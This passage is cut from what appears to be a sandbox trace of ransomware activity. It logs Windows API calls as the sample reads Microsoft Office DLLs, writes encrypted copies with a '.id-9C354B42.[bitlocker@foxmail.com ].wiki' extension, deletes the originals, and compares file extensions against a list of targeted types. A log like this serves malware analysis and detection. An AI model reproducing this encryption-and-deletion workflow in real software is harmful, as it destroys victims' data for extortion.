lpNumberOfBytesRead=0x364fc38*=0x40000, lpOverlapped=0x0) returned 1 [0188.792] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x170dd2a, lpNewFilePointer=0x0, dwMoveMethod=0x364fc2c | out: lpNewFilePointer=0x0) returned 1 [0188.792] ReadFile (in: hFile=0x200, lpBuffer=0x4070058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc38, lpOverlapped=0x0 | out: lpBuffer=0x4070058*, lpNumberOfBytesRead=0x364fc38*=0x40000, lpOverlapped=0x0) returned 1 [0188.879] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x364fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0188.880] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x44e9780, lpNewFilePointer=0x0, dwMoveMethod=0x364fc2c | out: lpNewFilePointer=0x0) returned 1 [0188.880] ReadFile (in: hFile=0x200, lpBuffer=0x40b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc38, lpOverlapped=0x0 | out: lpBuffer=0x40b0058*, lpNumberOfBytesRead=0x364fc38*=0x40000, lpOverlapped=0x0) returned 1 [0188.935] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.935] WriteFile (in: hFile=0x200, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x364fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0189.045] SetEndOfFile (hFile=0x200) returned 1 [0189.773] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4261050 [0189.777] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc7c | out: lpNewFilePointer=0x0) returned 1 [0189.777] WriteFile (in: hFile=0x200, lpBuffer=0x4261050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc88, lpOverlapped=0x0 | out: lpBuffer=0x4261050*, lpNumberOfBytesWritten=0x364fc88*=0x40000, lpOverlapped=0x0) returned 1 [0189.778] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x170dd2a, lpNewFilePointer=0x0, dwMoveMethod=0x364fc7c | out: lpNewFilePointer=0x0) returned 1 [0189.778] WriteFile (in: hFile=0x200, lpBuffer=0x4261050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc88, lpOverlapped=0x0 | out: lpBuffer=0x4261050*, lpNumberOfBytesWritten=0x364fc88*=0x40000, lpOverlapped=0x0) returned 1 [0189.779] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x44e9780, lpNewFilePointer=0x0, dwMoveMethod=0x364fc7c | out: lpNewFilePointer=0x0) returned 1 [0189.780] WriteFile (in: hFile=0x200, lpBuffer=0x4261050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc88, lpOverlapped=0x0 | out: lpBuffer=0x4261050*, lpNumberOfBytesWritten=0x364fc88*=0x40000, lpOverlapped=0x0) returned 1 [0189.782] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4261050 | out: hHeap=0x5c0000) returned 1 [0189.782] CloseHandle (hObject=0x200) returned 1 [0189.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0189.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0189.782] lstrlenW (lpString=".doc") returned 4 [0189.782] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0189.782] lstrlenW (lpString=".docx") returned 5 [0189.782] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0189.782] lstrlenW (lpString=".pdf") returned 4 [0189.783] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0189.783] lstrlenW (lpString=".xls") returned 4 [0189.783] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0189.783] lstrlenW (lpString=".xlsx") returned 5 [0189.783] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0189.783] lstrlenW (lpString=".ppt") returned 4 [0189.783] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0189.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0189.783] lstrlenW (lpString=".zip") returned 4 [0189.783] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0189.783] lstrlenW (lpString=".rar") returned 4 [0189.783] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0189.783] lstrlenW (lpString=".bz2") returned 4 [0189.783] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0189.783] lstrlenW (lpString=".7z") returned 3 [0189.783] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0189.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0189.783] lstrlenW (lpString=".dbf") returned 4 [0189.783] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0189.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0189.783] lstrlenW (lpString=".1cd") returned 4 [0189.783] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0189.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0189.783] lstrlenW (lpString=".jpg") returned 4 [0189.783] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0189.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0189.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0189.783] lstrlenW (lpString=".doc") returned 4 [0189.783] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0189.784] lstrlenW (lpString=".docx") returned 5 [0189.784] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0189.784] lstrlenW (lpString=".pdf") returned 4 [0189.784] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0189.784] lstrlenW (lpString=".xls") returned 4 [0189.784] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0189.784] lstrlenW (lpString=".xlsx") returned 5 [0189.784] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0189.784] lstrlenW (lpString=".ppt") returned 4 [0189.784] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0189.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0189.784] lstrlenW (lpString=".zip") returned 4 [0189.784] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0189.784] lstrlenW (lpString=".rar") returned 4 [0189.784] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0189.784] lstrlenW (lpString=".bz2") returned 4 [0189.784] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0189.784] lstrlenW (lpString=".7z") returned 3 [0189.784] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0189.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0189.784] lstrlenW (lpString=".dbf") returned 4 [0189.784] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0189.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0189.784] lstrlenW (lpString=".1cd") returned 4 [0189.784] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0189.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0189.784] lstrlenW (lpString=".jpg") returned 4 [0189.784] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0189.785] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0189.785] lstrlenW (lpString="MSSOAP30.DLL") returned 12 [0189.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0190.065] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=705392) returned 1 [0190.065] CloseHandle (hObject=0x220) returned 1 [0190.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll")) returned 0x20 [0190.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0190.066] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.066] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.066] GetLastError () returned 0x0 [0190.066] ReadFile (in: hFile=0x220, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0xac370, lpOverlapped=0x0) returned 1 [0190.083] WriteFile (in: hFile=0x1dc, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xac380, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xac380, lpOverlapped=0x0) returned 1 [0190.095] ReadFile (in: hFile=0x220, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.096] WriteFile (in: hFile=0x1dc, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.096] SetEndOfFile (hFile=0x1dc) returned 1 [0190.096] CloseHandle (hObject=0x1dc) returned 1 [0190.096] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.096] SetEndOfFile (hFile=0x220) returned 1 [0190.435] CloseHandle (hObject=0x220) returned 1 [0190.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.435] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll")) returned 1 [0190.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0190.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0190.435] lstrlenW (lpString=".doc") returned 4 [0190.435] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0190.435] lstrlenW (lpString=".docx") returned 5 [0190.435] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0190.435] lstrlenW (lpString=".pdf") returned 4 [0190.435] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0190.435] lstrlenW (lpString=".xls") returned 4 [0190.435] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0190.436] lstrlenW (lpString=".xlsx") returned 5 [0190.436] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0190.436] lstrlenW (lpString=".ppt") returned 4 [0190.436] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0190.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0190.436] lstrlenW (lpString=".zip") returned 4 [0190.436] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0190.436] lstrlenW (lpString=".rar") returned 4 [0190.436] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0190.436] lstrlenW (lpString=".bz2") returned 4 [0190.436] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0190.436] lstrlenW (lpString=".7z") returned 3 [0190.436] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0190.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0190.436] lstrlenW (lpString=".dbf") returned 4 [0190.436] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0190.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0190.436] lstrlenW (lpString=".1cd") returned 4 [0190.436] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0190.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0190.436] lstrlenW (lpString=".jpg") returned 4 [0190.436] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0190.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0190.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0190.436] lstrlenW (lpString=".doc") returned 4 [0190.436] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0190.436] lstrlenW (lpString=".docx") returned 5 [0190.436] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0190.436] lstrlenW (lpString=".pdf") returned 4 [0190.436] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0190.436] lstrlenW (lpString=".xls") returned 4 [0190.436] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0190.437] lstrlenW (lpString=".xlsx") returned 5 [0190.437] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0190.437] lstrlenW (lpString=".ppt") returned 4 [0190.437] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0190.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0190.437] lstrlenW (lpString=".zip") returned 4 [0190.437] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0190.437] lstrlenW (lpString=".rar") returned 4 [0190.437] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0190.437] lstrlenW (lpString=".bz2") returned 4 [0190.437] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0190.437] lstrlenW (lpString=".7z") returned 3 [0190.437] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0190.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0190.437] lstrlenW (lpString=".dbf") returned 4 [0190.437] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0190.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0190.437] lstrlenW (lpString=".1cd") returned 4 [0190.437] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0190.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0190.437] lstrlenW (lpString=".jpg") returned 4 [0190.437] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0190.437] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0190.437] lstrlenW (lpString="OSETUPUI.DLL") returned 12 [0190.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0192.275] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=191872) returned 1 [0192.275] CloseHandle (hObject=0x1d8) returned 1 [0192.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll")) returned 0x20 [0192.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0192.276] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.276] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0192.276] GetLastError () returned 0x0 [0192.276] ReadFile (in: hFile=0x1d8, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0192.283] WriteFile (in: hFile=0x218, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0192.286] ReadFile (in: hFile=0x1d8, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0192.286] WriteFile (in: hFile=0x218, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.286] SetEndOfFile (hFile=0x218) returned 1 [0192.286] CloseHandle (hObject=0x218) returned 1 [0192.286] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.286] SetEndOfFile (hFile=0x1d8) returned 1 [0192.288] CloseHandle (hObject=0x1d8) returned 1 [0192.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.289] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll")) returned 1 [0192.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0192.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0192.289] lstrlenW (lpString=".doc") returned 4 [0192.289] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.289] lstrlenW (lpString=".docx") returned 5 [0192.289] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0192.289] lstrlenW (lpString=".pdf") returned 4 [0192.289] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.289] lstrlenW (lpString=".xls") returned 4 [0192.289] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.289] lstrlenW (lpString=".xlsx") returned 5 [0192.289] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0192.289] lstrlenW (lpString=".ppt") returned 4 [0192.289] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0192.289] lstrlenW (lpString=".zip") returned 4 [0192.289] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.289] lstrlenW (lpString=".rar") returned 4 [0192.289] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.289] lstrlenW (lpString=".bz2") returned 4 [0192.289] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.289] lstrlenW (lpString=".7z") returned 3 [0192.289] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0192.290] lstrlenW (lpString=".dbf") returned 4 [0192.290] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0192.290] lstrlenW (lpString=".1cd") returned 4 [0192.290] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0192.290] lstrlenW (lpString=".jpg") returned 4 [0192.290] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0192.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0192.290] lstrlenW (lpString=".doc") returned 4 [0192.290] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.290] lstrlenW (lpString=".docx") returned 5 [0192.290] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0192.290] lstrlenW (lpString=".pdf") returned 4 [0192.290] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.290] lstrlenW (lpString=".xls") returned 4 [0192.290] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.290] lstrlenW (lpString=".xlsx") returned 5 [0192.290] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0192.290] lstrlenW (lpString=".ppt") returned 4 [0192.290] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0192.290] lstrlenW (lpString=".zip") returned 4 [0192.290] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.290] lstrlenW (lpString=".rar") returned 4 [0192.291] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.291] lstrlenW (lpString=".bz2") returned 4 [0192.291] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.291] lstrlenW (lpString=".7z") returned 3 [0192.291] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0192.291] lstrlenW (lpString=".dbf") returned 4 [0192.291] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0192.291] lstrlenW (lpString=".1cd") returned 4 [0192.291] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0192.291] lstrlenW (lpString=".jpg") returned 4 [0192.291] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.291] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0192.291] lstrlenW (lpString="RICHED20.DLL") returned 12 [0192.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0192.292] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=1870696) returned 1 [0192.292] CloseHandle (hObject=0x1d8) returned 1 [0192.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common 